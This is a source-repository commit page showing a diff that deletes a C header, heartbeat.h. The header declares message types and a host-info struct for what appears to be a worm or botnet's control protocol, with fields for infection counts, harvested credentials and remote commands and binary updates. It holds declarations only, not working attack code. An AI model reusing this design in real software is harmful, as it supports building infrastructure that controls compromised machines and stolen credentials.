aboutsummaryrefslogtreecommitdiff
path: root/src/heartbeat.h
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-01-11 18:03:47 +1100
committerDavid Timber <mieabby@gmail.com>2020-01-11 18:03:47 +1100
commit10512fc50e6184397206a41c157c09d9b02e9e1a (patch)
tree5f0779032edf0f0710400ae6c99b9a3f2977735d /src/heartbeat.h
parent129e12d7685a6ea99fde514ad104a0368a19033d (diff)
staged resolv_worker
* replaced RNG from `rnd` to `mbedtls_ctr_drbg` * use of `uint_fastN_t` where appropriate * heartbeat protocol draft * improved worker scheduling mech
Diffstat (limited to 'src/heartbeat.h')
-rw-r--r--src/heartbeat.h42
1 files changed, 0 insertions, 42 deletions
diff --git a/src/heartbeat.h b/src/heartbeat.h
deleted file mode 100644
index 3d396cb..0000000
--- a/src/heartbeat.h
+++ /dev/null
@@ -1,42 +0,0 @@
-#pragma once
-#include "protocol.h"
-#include "util_ct.h"
-
-#include <stdint.h>
-#include <stddef.h>
-#include <stdbool.h>
-
-
-typedef struct prne_htbt_host_info prne_htbt_host_info_t;
-
-typedef enum {
- PRNE_HTBT_OP_HOST_INFO,
- PRNE_HTBT_OP_CMD,
- PRNE_HTBT_OP_NY_BIN,
- PRNE_HTBT_OP_RSP,
-
- NB_PRNE_HTBT_OP
-} prne_htbt_op_t;
-PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFF);
-
-typedef enum {
- PRNE_HTBT_RSP_OK,
- PRNE_HTBT_RSP_ERRNO,
-
- NB_PRNE_HTBT_RSP
-} prne_htbt_rsp_t;
-PRNE_LIMIT_ENUM(prne_htbt_rsp_t, NB_PRNE_HTBT_RSP, 0xFF);
-
-struct prne_htbt_host_info {
- char prog_ver[36];
- uint64_t uptime;
- uint64_t rerun_cnt;
- uint64_t bne_cnt;
- uint64_t infect_cnt;
- uint32_t god_pid;
- uint32_t proone_pid;
- const char *cred_str;
- uint8_t cred_id_len;
- uint8_t cred_pw_len;
- prne_arch_t arch;
-};